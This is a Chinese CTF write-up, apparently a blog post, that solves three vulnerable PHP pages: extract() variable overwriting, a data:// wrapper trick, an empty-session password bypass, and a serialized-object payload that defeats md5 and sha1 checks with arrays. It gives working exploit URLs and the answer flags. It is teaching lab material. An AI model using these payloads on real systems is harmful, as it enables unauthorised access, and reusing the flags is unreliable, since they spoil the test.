任务5_开发测试服务器

1.开发测试服务器首页存在漏洞,请利用漏洞找出 flag,并将 flag提交。flag格式:flag{<flag值>}
2.开发测试服务器第二个页面存在的漏洞,请利用漏洞找出 flag,并将flag提交。flag格式:flag{<flag值>}
3.开发测试服务器第三个页面存在的漏洞,请利用漏洞找出 flag,并将flag提交。flag格式:flag{<flag值>}

1.开发测试服务器首页存在漏洞,请利用漏洞找出 flag,并将 flag提交。flag格式:flag{<flag值>}

<?php
show_source(__FILE__); 
include('config.php'); 
$file = '/file.txt'; 
extract($_GET); 
if(isset($a)){
	$content = trim(file_get_contents($file)); 
	if($a === $content){
		die($flag1);
	}
	else{
			die("wrong");
	}
}
方法一
extract()变量覆盖漏洞:
extract() 函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。返回成功设置的变量数目。
分析:
要求我们GET传参进去值会经过extract()函数下来会有两个if 第一个if判断a这个变量是否存在,存在则继续执行if里面。
使用file_get_contents()读取flag变量里面的文件传递给content变量之后再进行判断传进来a变量的值等不等于$content如果等于则打印出flag!
这里我们构造因为通过extract()函数我们传进的值会变成一个变量例如我们GET传入a=1则会存在$a=1 所以我们构造GET传参
pyaload:http://192.168.42.25/?a=&file=
这样程序中会有两个为空的变量而$file=空则覆盖了上面的$file中的值,进行判断都是空的所以为真则得到flag。
方法二
伪协议:
http://127.0.0.1/index1/?a=1111&file=data://text//plain,1111

Flag:flag{2262d98e-3c79-41ec-aecf-24c19aab741b}

2.开发测试服务器第二个页面存在的漏洞,请利用漏洞找出 flag,并将flag提交。flag格式:flag{<flag值>}

<?php
show_source(__FILE__); 
include('config.php'); 
session_start();
if(isset($_GET['password'])){
	if($_GET['password'] == $_SESSION['password']){ 
		die($flag2);
	}
	else{
		die("wrong"); 
	}
}
mt_srand((microtime() ^ rand(1,10000)) % rand(1,10000) + rand(1,10000));

SESSION验证绕过:
以GET方式传入password,并且与SESSION中的password比较是否相等,相等则返回flag,否则输出提示,虽然在服务端极大概率不能将SESSION中的password正确获取,但是SESSION的password在未登陆时为空,我们只要将GET传入的password设置为空即可绕过。

Flag:flag{4b425f7e-0ea8-463c-bea0-e7a651ecd3f3}

3.开发测试服务器第三个页面存在的漏洞,请利用漏洞找出 flag,并将flag提交。flag格式:flag{<flag值>}

<?php
class CyberSecurity{
		public $cyber;
		public $security;
		public function __wakeup(){
				if(($this->cyber != $this->security) && (md5($this->cyber) === md5 ($this->security)) && (sha1($this->cyber) === sha1($this->security))){
						include('config.php'); 
						die($flag3);
				}
				else{ 
				die("no"); 
				}
		}
}
if(isset($_GET['payload'])){ 
		unserialize($_GET['payload']);
} 
else{
		show_source(__FILE__); 
}

2个变量:cyber和security。题目是要求这两个变量的值不相等(!=是弱比较),但是变量的md5和sha1的值要相等(===是强比较),那么我们可以使之为数组,数组内容不相等,但通过md5与sha算法后的hash却相等,这是⼀个PHP的特性
反序列化做题步骤:
1.复制源代码
2.注释掉和属性不相关的内容
3.给属性复制
4.输出序列化字符串,建议进行url编码
payload:http://192.168.42.25?payload=O:13:"CyberSecurity":2:{s:5:"cyber";a:1:{i:0;s:3:"121";}s:8:"security";a:1:{i:0;s:3:"123";}}
http://127.0.0.1/3/?payload=O%3A13%3A%22CyberSecurity%22%3A2%3A%7Bs%3A5%3A%22cyber%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A111%3B%7Ds%3A8%3A%22security%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A112%3B%7D%7D

Flag:flag{535f1e60-b9af-4fc2-90e7-f9764e4e599f}

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Wh1teSu

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值